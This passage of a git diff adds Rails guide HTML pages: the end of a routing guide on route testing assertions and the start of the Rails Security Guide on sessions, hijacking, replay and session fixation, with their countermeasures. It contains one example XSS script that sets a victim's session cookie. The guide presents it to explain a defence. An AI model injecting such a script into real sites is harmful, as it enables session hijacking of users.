+<h3 id="_connecting_the_empty_string">7.2. Connecting the Empty String</h3>
+<div class="para"><p>You can also specify an empty route by explicitly connecting the empty string:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"main"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If the empty route does not seem to be working in your application, make sure that you have deleted the file <tt>public/index.html</tt> from your Rails tree.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_inspecting_and_testing_routes">8. Inspecting and Testing Routes</h2>
+<div class="sectionbody">
+<div class="para"><p>Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.</p></div>
+<h3 id="_seeing_existing_routes_with_rake">8.1. Seeing Existing Routes with rake</h3>
+<div class="para"><p>If you want a complete list of all of the available routes in your application, run the <tt>rake routes</tt> command. This will dump all of your routes to the console, in the same order that they appear in <tt>routes.rb</tt>. For each route, you'll see:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The route name (if any)
+</p>
+</li>
+<li>
+<p>
+The HTTP verb used (if the route doesn't respond to all verbs)
+</p>
+</li>
+<li>
+<p>
+The URL pattern
+</p>
+</li>
+<li>
+<p>
+The routing parameters that will be generated by this URL
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, here's a small section of the <tt>rake routes</tt> output for a RESTful route:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt> users GET /users {:controller=>"users", :action=>"index"}
+formatted_users GET /users.:format {:controller=>"users", :action=>"index"}
+ POST /users {:controller=>"users", :action=>"create"}
+ POST /users.:format {:controller=>"users", :action=>"create"}</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You'll find that the output from <tt>rake routes</tt> is much more readable if you widen your terminal window until the output lines don't wrap.</td>
+</tr></table>
+</div>
+<h3 id="_testing_routes">8.2. Testing Routes</h3>
+<div class="para"><p>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html">built-in assertions</a> designed to make testing routes simpler:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>assert_generates</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>assert_recognizes</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>assert_routing</tt>
+</p>
+</li>
+</ul></div>
+<h4 id="_the_tt_assert_generates_tt_assertion">8.2.1. The <tt>assert_generates</tt> Assertion</h4>
+<div class="para"><p>Use <tt>assert_generates</tt> to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_generates <span style="color: #FF0000">"/photos/1"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=></span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
+assert_generates <span style="color: #FF0000">"/about"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"about"</span>
+</tt></pre></div></div>
+<h4 id="_the_tt_assert_recognizes_tt_assertion">8.2.2. The <tt>assert_recognizes</tt> Assertion</h4>
+<div class="para"><p>The <tt>assert_recognizes</tt> assertion is the inverse of <tt>assert_generates</tt>. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=></span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">"/photos/1"</span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply a <tt>:method</tt> argument to specify the HTTP verb:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=></span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also use the RESTful helpers to test recognition of a RESTful route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_recognizes new_photo_url<span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=></span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_the_tt_assert_routing_tt_assertion">8.2.3. The <tt>assert_routing</tt> Assertion</h4>
+<div class="para"><p>The <tt>assert_routing</tt> assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of <tt>assert_generates</tt> and <tt>assert_recognizes</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_routing <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=></span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_changelog">9. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+September 23, 2008: Added section on namespaced controllers and routing, by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+September 10, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/security.html b/railties/doc/guides/html/security.html new file mode 100644 index 0000000000..4ece0814d5 --- /dev/null +++ b/railties/doc/guides/html/security.html @@ -0,0 +1,1280 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Ruby On Rails Security Guide</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_introduction">Introduction</a> + </li> + <li> + <a href="#_sessions">Sessions</a> + <ul> + + <li><a href="#_what_are_sessions">What are sessions?</a></li> + + <li><a href="#_session_id">Session id</a></li> + + <li><a href="#_session_hijacking">Session hijacking</a></li> + + <li><a href="#_session_guidelines">Session guidelines</a></li> + + <li><a href="#_session_storage">Session storage</a></li> + + <li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li> + + <li><a href="#_session_fixation">Session fixation</a></li> + + <li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li> + + <li><a href="#_session_expiry">Session expiry</a></li> + + </ul> + </li> + <li> + <a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a> + <ul> + + <li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li> + + </ul> + </li> + <li> + <a href="#_redirection_and_files">Redirection and Files</a> + <ul> + + <li><a href="#_redirection">Redirection</a></li> + + <li><a href="#_file_uploads">File uploads</a></li> + + <li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li> + + <li><a href="#_file_downloads">File downloads</a></li> + + </ul> + </li> + <li> + <a href="#_intranet_and_admin_security">Intranet and Admin security</a> + <ul> + + <li><a href="#_additional_precautions">Additional precautions</a></li> + + </ul> + </li> + <li> + <a href="#_mass_assignment">Mass assignment</a> + <ul> + + <li><a href="#_countermeasures">Countermeasures</a></li> + + </ul> + </li> + <li> + <a href="#_user_management">User management</a> + <ul> + + <li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li> + + <li><a href="#_account_hijacking">Account hijacking</a></li> + + <li><a href="#_captchas">CAPTCHAs</a></li> + + <li><a href="#_logging">Logging</a></li> + + <li><a href="#_good_passwords">Good passwords</a></li> + + <li><a href="#_regular_expressions">Regular expressions</a></li> + + <li><a href="#_privilege_escalation">Privilege escalation</a></li> + + </ul> + </li> + <li> + <a href="#_injection">Injection</a> + <ul> + + <li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li> + + <li><a href="#_sql_injection">SQL Injection</a></li> + + <li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li> + + <li><a href="#_css_injection">CSS Injection</a></li> + + <li><a href="#_textile_injection">Textile Injection</a></li> + + <li><a href="#_ajax_injection">Ajax Injection</a></li> + + <li><a href="#_rjs_injection">RJS Injection</a></li> + + <li><a href="#_command_line_injection">Command Line Injection</a></li> + + </ul> + </li> + <li> + <a href="#_additional_resources">Additional resources</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Ruby On Rails Security Guide</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
+mail me at 42 {<em>et</em>} rorsecurity.info. After reading it, you should be familiar with:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+All countermeasures <span style="background-color: #fffcdb;">that are highlighted</span>
+</p>
+</li>
+<li>
+<p>
+The concept of sessions in Rails, what to put in there and popular attack methods
+</p>
+</li>
+<li>
+<p>
+How just visiting a site can be a security problem (with CSRF)
+</p>
+</li>
+<li>
+<p>
+What you have to pay attention to when working with files or providing an administration interface
+</p>
+</li>
+<li>
+<p>
+The Rails-specific mass assignment problem
+</p>
+</li>
+<li>
+<p>
+How to manage users: Logging in and out and attack methods on all layers
+</p>
+</li>
+<li>
+<p>
+And the most popular injection attack methods
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_introduction">1. Introduction</h2>
+<div class="sectionbody">
+<div class="para"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
+<div class="para"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
+<div class="para"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
+<div class="para"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
+<div class="para"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
+</div>
+<h2 id="_sessions">2. Sessions</h2>
+<div class="sectionbody">
+<div class="para"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
+<h3 id="_what_are_sessions">2.1. What are sessions?</h3>
+<div class="para"><p>— <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
+<div class="para"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p></div>
+<div class="para"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>id
+User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<h3 id="_session_id">2.2. Session id</h3>
+<div class="para"><p>— <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
+<div class="para"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
+<h3 id="_session_hijacking">2.3. Session hijacking</h3>
+<div class="para"><p>— <em>Stealing a user's session id lets an attacker use the web application in the victim's name.</em></p></div>
+<div class="para"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
+<div class="para"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <span style="background-color: #fffcdb;">provide a secure connection over SSL</span>.
+</p>
+</li>
+<li>
+<p>
+Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
+</p>
+</li>
+<li>
+<p>
+Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
+</p>
+</li>
+<li>
+<p>
+Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
+<h3 id="_session_guidelines">2.4. Session guidelines</h3>
+<div class="para"><p>— <em>Here are some general guidelines on sessions.</em></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+</p>
+</li>
+<li>
+<p>
+<span style="background-color: #fffcdb;">Critical data should not be stored in session</span>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+</p>
+</li>
+</ul></div>
+<h3 id="_session_storage">2.5. Session storage</h3>
+<div class="para"><p>— <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
+<div class="para"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
+<div class="para"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user's database id in a session is usually ok</span>.
+</p>
+</li>
+<li>
+<p>
+The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don't want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>config.action_controller.session = {
+ :session_key => ‘_app_session’,
+ :secret => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
+}</tt></pre>
+</div></div>
+<div class="para"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
+<h3 id="_replay_attacks_for_cookiestore_sessions">2.6. Replay attacks for CookieStore sessions</h3>
+<div class="para"><p>— <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
+<div class="para"><p>It works like this:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
+</p>
+</li>
+<li>
+<p>
+The user buys something.
+</p>
+</li>
+<li>
+<p>
+His new, lower credit will be stored in the session.
+</p>
+</li>
+<li>
+<p>
+The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+</p>
+</li>
+<li>
+<p>
+The user has his credit back.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
+<div class="para"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
+<h3 id="_session_fixation">2.7. Session fixation</h3>
+<div class="para"><p>— <em>Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
+<div class="imageblock">
+<div class="content">
+<img src="images/session_fixation.png" alt="Session fixation" title="Session fixation"/>
+</div>
+</div>
+<div class="para"><p>This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
+<div class="olist"><ol>
+<li>
+<p>
+The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+</p>
+</li>
+<li>
+<p>
+He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+</p>
+</li>
+<li>
+<p>
+Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt><script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script></tt>
+Read more about XSS and injection later on.
+</p>
+</li>
+<li>
+<p>
+The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+</p>
+</li>
+<li>
+<p>
+As the new trap session is unused, the web application will require the user to authenticate.
+</p>
+</li>
+<li>
+<p>
+From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+</p>
+</li>
+</ol></div>
+<h3 id="_session_fixation_countermeasures">2.8. Session fixation – Countermeasures</h3>
+<div class="para"><p>— <em>One line of code will protect you from session fixation.</em></p></div>
+<div class="para"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>reset_session
+</tt></pre></div></div>
+<div class="para"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
+<div class="para"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users will not be able to use your application, or only in a limited way.</p></div>
+<h3 id="_session_expiry">2.9. Session expiry</h3>
+<div class="para"><p>— <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
+<div class="para"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Session <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>sweep<span style="color: #990000">(</span>time_ago <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">)</span>
+
time <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">case</span></span> time_ago
+
<span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)m$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>minute
+
<span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)h$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>hour
+
<span style="font-weight: bold"><span style="color: #0000FF">when</span></span> <span style="color: #FF6600">/^(\d+)d$/</span> <span style="font-weight: bold"><span style="color: #0000FF">then</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #009900">$1</span><span style="color: #990000">.</span>to_i<span style="color: #990000">.</span>day
+
<span style="font-weight: bold"><span style="color: #0000FF">else</span></span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>hour
+
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
